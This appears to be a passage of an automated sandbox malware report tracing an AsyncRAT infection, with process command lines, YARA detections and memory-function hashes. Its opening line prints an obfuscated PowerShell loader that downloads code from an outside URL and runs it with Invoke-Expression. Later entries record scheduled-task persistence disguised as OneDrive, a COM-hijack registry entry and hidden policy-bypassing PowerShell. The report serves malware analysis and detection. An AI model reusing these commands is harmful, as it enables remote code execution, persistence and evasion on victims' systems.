Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $var1 = $([char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x52)+[char]([byte]0x65)+[char]([byte]0x66)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x2e)+[char]([byte]0x41)+[char]([byte]0x73)+[char]([byte]0x73)+[char]([byte]0x65)+[char]([byte]0x6d)+[char]([byte]0x62)+[char]([byte]0x6c)+[char]([byte]0x79)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x6c)+[char]([byte]0x6f)+[char]([byte]0x61)+[char]([byte]0x64)+[char]([byte]0x77)+[char]([byte]0x69)+[char]([byte]0x74)+[char]([byte]0x68)+[char]([byte]0x50)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x4e)+[char]([byte]0x61)+[char]([byte]0x6d)+[char]([byte]0x65)+[char]([byte]0x28)+[char]([byte]0x22)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x22)+[char]([byte]0x29)+[char]([byte]0x20)+[char]([byte]0x7c)+[char]([byte]0x20)+[char]([byte]0x4f)+[char]([byte]0x75)+[char]([byte]0x74)+[char]([byte]0x2d)+[char]([byte]0x4e)+[char]([byte]0x75)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x20)+[char]([byte]0x3b)+[char]([byte]0x73)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x65)+[char]([byte]0x70)+[char]([byte]0x20)+[char]([byte]0x2d)+[char]([byte]0x73)+[char]([byte]0x20)+[char]([byte]0x34)+[char]([byte]0x20)+[char]([byte]0x3b)+[char]([byte]0x20)+[char]([byte]0x24)+[char]([byte]0x76)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x20)+[char]([byte]0x3d)+[char]([byte]0x20)+[char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x2e)+[char]([byte]0x49)+[char]([byte]0x6e)+[char]([byte]0x74)+[char]([byte]0x65)+[char]([byte]0x72)+[char]([byte]0x61)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x43)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x62)+[char]([byte]0x79)+[char]([byte]0x6e)+[char]([byte]0x61)+[char]([byte]0x6d)+[char]([byte]0x65)+[char]([byte]0x28)+[char]([byte]0x28)+[char]([byte]0x4e)+[char]([byte]0x65)+[char]([byte]0x77)+[char]([byte]0x2d)+[char]([byte]0x6f)+[char]([byte]0x62)+[char]([byte]0x6a)+[char]([byte]0x65)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x20)+[char]([byte]0x6e)+[char]([byte]0x65)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x77)+[char]([byte]0x65)+[char]([byte]0x62)+[char]([byte]0x63)+[char]([byte]0x6c)+[char]([byte]0x69)+[char]([byte]0x65)+[char]([byte]0x6e)+[char]([byte]0x74)+[char]([byte]0x20)+[char]([byte]0x29)+[char]([byte]0x20)+[char]([byte]0x2c)+[char]([byte]0x20)+[char]([byte]0x22)+[char]([byte]0x44)+[char]([byte]0x6f)+[char]([byte]0x77)+[char]([byte]0x6e)+[char]([byte]0x6c)+[char]([byte]0x6f)+[char]([byte]0x61)+[char]([byte]0x64)+[char]([byte]0x53)+[char]([byte]0x74)+[char]([byte]0x72)+[char]([byte]0x69)+[char]([byte]0x6e)+[char]([byte]0x67)+[char]([byte]0x22)+[char]([byte]0x20)+[char]([byte]0x2c)+[char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x2e)+[char]([byte]0x43)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x54)+[char]([byte]0x79)+[char]([byte]0x70)+[char]([byte]0x65)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x4d)+[char]([byte]0x65)+[char]([byte]0x74)+[char]([byte]0x68)+[char]([byte]0x6f)+[char]([byte]0x64)+[char]([byte]0x2c)+[char]([byte]0x20)+[char]([byte]0x22)+[char]([byte]0x68)+[char]([byte]0x74)+[char]([byte]0x74)+[char]([byte]0x70)+[char]([byte]0x73)+[char]([byte]0x3a)+[char]([byte]0x2f)+[char]([byte]0x2f)+[char]([byte]0x76)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x69)+[char]([byte]0x65)+[char]([byte]0x74)+[char]([byte]0x79)+[char]([byte]0x64)+[char]([byte]0x69)+[char]([byte]0x72)+[char]([byte]0x65)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x6f)+[char]([byte]0x75)+[char]([byte]0x74)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x63)+[char]([byte]0x6f)+[char]([byte]0x6d)+[char]([byte]0x2f)+[char]([byte]0x72)+[char]([byte]0x65)+[char]([byte]0x64)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x2f)+[char]([byte]0x73)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x61)+[char]([byte]0x2e)+[char]([byte]0x67)+[char]([byte]0x69)+[char]([byte]0x66)+[char]([byte]0x22)+[char]([byte]0x20)+[char]([byte]0x29)) ; $var2 = $([char]([byte]0x26)+[char]([byte]0x28)+[char]([byte]0x67)+[char]([byte]0x63)+[char]([byte]0x6d)+[char]([byte]0x20)+[char]([byte]0x69)+[char]([byte]0x2a)+[char]([byte]0x2a)+[char]([byte]0x6e)+[char]([byte]0x76)+[char]([byte]0x2a)+[char]([byte]0x2a)+[char]([byte]0x2a)+[char]([byte]0x6f)+[char]([byte]0x6b)+[char]([byte]0x65)+[char]([byte]0x2d)+[char]([byte]0x65)+[char]([byte]0x78)+[char]([byte]0x70)+[char]([byte]0x72)+[char]([byte]0x2a)+[char]([byte]0x2a)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x29)) ; $var3 = $var1+ ' \| ' +$var2; $sb1 = [scriptblock]::Create($var3).Invoke()
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:39:15
Start date:	12/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:39:30
Start date:	12/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\schtasks.exe" /create /sc minute /mo 2 /tn "Cloud OneDrive" /tr C:\ProgramData\Cloud\cloud.vbs
Imagebase:	0x7ff7d52a0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:39:31
Start date:	12/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\ProgramData\Cloud\cloud.vbs"
Imagebase:	0x7ff6c7de0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:39:33
Start date:	12/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c C:\ProgramData\Cloud\cloud.bat
Imagebase:	0x7ff7cb970000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:39:33
Start date:	12/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:39:33
Start date:	12/10/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f
Imagebase:	0x7ff71bca0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:39:33
Start date:	12/10/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\RedroCrypt.dll /f
Imagebase:	0x7ff71bca0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:39:33
Start date:	12/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"
Imagebase:	0x7ff7cb970000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:39:33
Start date:	12/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:39:38
Start date:	12/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\RegSvcs.exe"
Imagebase:	0xfc0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000D.00000002.3429100433.0000000005B28000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 0000000D.00000002.3418123386.0000000003431000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 0000000D.00000002.3418123386.0000000003431000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000D.00000002.3418123386.0000000003431000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000D.00000002.3429100433.0000000005A50000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	10:41:01
Start date:	12/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\ProgramData\Cloud\cloud.vbs"
Imagebase:	0x7ff6c7de0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 1888, Parent PID: 5564

General

Target ID:	16
Start time:	10:41:04
Start date:	12/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c C:\ProgramData\Cloud\cloud.bat
Imagebase:	0x7ff7cb970000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 3504, Parent PID: 1888

General

Target ID:	17
Start time:	10:41:04
Start date:	12/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	10:41:04
Start date:	12/10/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f
Imagebase:	0x7ff71bca0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	10:41:04
Start date:	12/10/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\RedroCrypt.dll /f
Imagebase:	0x7ff71bca0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	10:41:04
Start date:	12/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"
Imagebase:	0x7ff7cb970000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 2848, Parent PID: 3636

General

Target ID:	21
Start time:	10:41:04
Start date:	12/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: RegSvcs.exePID: 6100, Parent PID: 2848

General

Target ID:	22
Start time:	10:41:08
Start date:	12/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\RegSvcs.exe"
Imagebase:	0x7a0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000016.00000002.3400803278.0000000005286000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000016.00000002.3400152760.0000000005190000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000016.00000002.3383370741.0000000000B70000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000016.00000002.3391172871.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000016.00000002.3391172871.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Function 00007FF848FD2CA9 Relevance: 1.2, Instructions: 1158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2380946016.00007FF848FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848fd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f575bf5bd98f7485a23b861539900851a63125babce9d2dc4f532de741304e1
Instruction ID: 644f181b52115a5c00ce4fbffde4971b6531e58952a9a96f046b942b7566e10f
Opcode Fuzzy Hash: 8f575bf5bd98f7485a23b861539900851a63125babce9d2dc4f532de741304e1
Instruction Fuzzy Hash: 68820131D0DA8A8FE796EB2888556747BE1EF56340F1804BEC14EC71D3EE28AC46CB55

Function 00007FF848FD2919 Relevance: .4, Instructions: 422COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2380946016.00007FF848FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848fd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 840683746526cbcbf5ef04142c88068f337f6e3056919c6583ca2bcd7989363a
Instruction ID: 5e8428b70ce9d2323a66045afd894a7081b5430d1ab545a0b8f42e0cc6aa5a3d
Opcode Fuzzy Hash: 840683746526cbcbf5ef04142c88068f337f6e3056919c6583ca2bcd7989363a
Instruction Fuzzy Hash: 5DD1D53190E7C64FE3569B7858152B47FE1EF562A0F0901FBC14ACB1D3DA28A846CB96

Function 00007FF848FD1529 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2380946016.00007FF848FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848fd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8a0d264ad25f67682a19c9eda93fb614e41ba775c8a2cdc7bd8a78a0d746b95
Instruction ID: fe7e4309899e0868f9d083da2965c70af3d08ca8f6847b031cb2cb431c81fb28
Opcode Fuzzy Hash: c8a0d264ad25f67682a19c9eda93fb614e41ba775c8a2cdc7bd8a78a0d746b95
Instruction Fuzzy Hash: C451A422D0E7C64FD3539B7858691A4BFE1AF57260B0D01FBC189CB4E3EA1D584AC716

Function 00007FF848FD2AA4 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2380946016.00007FF848FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848fd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 537f83cd71a601a7695e1896a0a48fef0132026c294d81740337a9f61b3806d2
Instruction ID: 55a2e9822241a46e43608fab853e87ff9f184302d9cfe7193f209f3416cc8aec
Opcode Fuzzy Hash: 537f83cd71a601a7695e1896a0a48fef0132026c294d81740337a9f61b3806d2
Instruction Fuzzy Hash: 5A512731E0EA874FF369AB6C18551B4BAD0FF452A0F1805BAC55EC71C3DE29BC058B99

Function 00007FF848DCA92C Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2376880012.00007FF848DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d4e321ef34c5dd0e5be9bb0fcb0b30dbb3d9fad0733610c408bd475f1cbaac1
Instruction ID: 383ae3f1425cdf0b97807817b786d111b61f1b5658d95b7c5f45da6940434a0e
Opcode Fuzzy Hash: 6d4e321ef34c5dd0e5be9bb0fcb0b30dbb3d9fad0733610c408bd475f1cbaac1
Instruction Fuzzy Hash: A4314E31A199598FDF98EF58C456EAD77E1FF68380F50416AE009D3286CF24EC81CB81

Function 00007FF848FD0AC0 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2380946016.00007FF848FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848fd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 044ac9ca553501c7705ef97f7cfd9a28fc47634a58fcb985768d4b0026a63ccc
Instruction ID: 5d338c90266fc2a51ba08cb7ef6d2fe974df914b6e84003adf668229d5dfe013
Opcode Fuzzy Hash: 044ac9ca553501c7705ef97f7cfd9a28fc47634a58fcb985768d4b0026a63ccc
Instruction Fuzzy Hash: F9216D32E0DBC64FE3A6FB7864981647FE0EF82220B4901FBC559CB1E3DA185C468B01

Function 00007FF848DC52F5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2376880012.00007FF848DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d0562dd0b29a169169f02496da85fc4c2f4ea8ef2f197f3d6e0b938cf706da3
Instruction ID: 029ed78714ce6b9f00a121effbe2462847a76842961101ff46aa2e2a85d8f982
Opcode Fuzzy Hash: 8d0562dd0b29a169169f02496da85fc4c2f4ea8ef2f197f3d6e0b938cf706da3
Instruction Fuzzy Hash: 7C01447111CB0C4FD744EF0CE451AB9B7E0FB95364F10056DE58AC3655D726E881CB45

Non-executed Functions

Function 00007FF848DC84FA Relevance: 8.0, Strings: 6, Instructions: 473COMMON

Download Yara Rule

Strings

N_^, xrefs: 00007FF848DC862A
N_^, xrefs: 00007FF848DC84FA
N_^, xrefs: 00007FF848DC85C9
N_^, xrefs: 00007FF848DC852A
N_^, xrefs: 00007FF848DC857A
N_^, xrefs: 00007FF848DC856A

Memory Dump Source

Source File: 00000002.00000002.2376880012.00007FF848DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848dc0000_powershell.jbxd

Similarity

API ID:
String ID: N_^$N_^$N_^$N_^$N_^$N_^
API String ID: 0-1364355708
Opcode ID: 4c5f37001b0c08834a0c8c3c1f1f0da0e35fbf30c5e4c50dd291ddb491047912
Instruction ID: 6701b403a43af237d8773950e6a5d39f3cb35401b4989314b7a281e8ea8eca59
Opcode Fuzzy Hash: 4c5f37001b0c08834a0c8c3c1f1f0da0e35fbf30c5e4c50dd291ddb491047912
Instruction Fuzzy Hash: 55F1E631D0DA898FEB45EB18C894AE9BBF1FF55390F1801BAD049C7192DB34AC46C785

Analysis Process: RegSvcs.exePID: 1524, Parent PID: 4036COMMON

Execution Graph

Execution Coverage:	9.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	14
Total number of Limit Nodes:	2

Executed Functions

Function 059DAB8B Relevance: 6.1, APIs: 4, Instructions: 129
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 059DAC0E
GetCurrentThread.KERNEL32 ref: 059DAC4B
GetCurrentProcess.KERNEL32 ref: 059DAC88
GetCurrentThreadId.KERNEL32 ref: 059DACE1

Memory Dump Source

Source File: 0000000D.00000002.3428481467.00000000059D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_59d0000_RegSvcs.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 99301eaa33fc2be57171713224ff545b4286301893d573ab357696de0ea0d352
Instruction ID: 2ee5aec4d1f1b51868dc336e832369a091fe815732c926474f5c665c2b364450
Opcode Fuzzy Hash: 99301eaa33fc2be57171713224ff545b4286301893d573ab357696de0ea0d352
Instruction Fuzzy Hash: 365164B09003498FDB14DFAAD549BAEBBF5EF48314F24C419E009A7260CB789885CB61

Function 059DAB90 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 059DAC0E
GetCurrentThread.KERNEL32 ref: 059DAC4B
GetCurrentProcess.KERNEL32 ref: 059DAC88
GetCurrentThreadId.KERNEL32 ref: 059DACE1

Memory Dump Source

Source File: 0000000D.00000002.3428481467.00000000059D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_59d0000_RegSvcs.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 3a05398e043d95980c6b76909a5e33bb686341fa770ff44e36b9520da5372e74
Instruction ID: 750bfcc8129c0876d2395c22b803179fb233916ef3f277acf3096642d42a935c
Opcode Fuzzy Hash: 3a05398e043d95980c6b76909a5e33bb686341fa770ff44e36b9520da5372e74
Instruction Fuzzy Hash: 0C5164B09003498FDB14DFAAD548BAEBFF5FF48314F24C419E009A7260CB789885CB61

Function 059D5CD0 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 059D5D53

Memory Dump Source

Source File: 0000000D.00000002.3428481467.00000000059D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_59d0000_RegSvcs.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: bd1ed2b378fd7b56014ed52d34a40396bb81bc57f1ff6f6644dda9ba4f425cb5
Instruction ID: af6760b40b2efd74c934094ebe78c60670a92e3ef003bf84841e17ddf69ddad0
Opcode Fuzzy Hash: bd1ed2b378fd7b56014ed52d34a40396bb81bc57f1ff6f6644dda9ba4f425cb5
Instruction Fuzzy Hash: 3C2107B59042099FCB14DFA9C844BEEFBF5FF98310F14842AE459A7250C774A945CFA1

Function 059DADD8 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

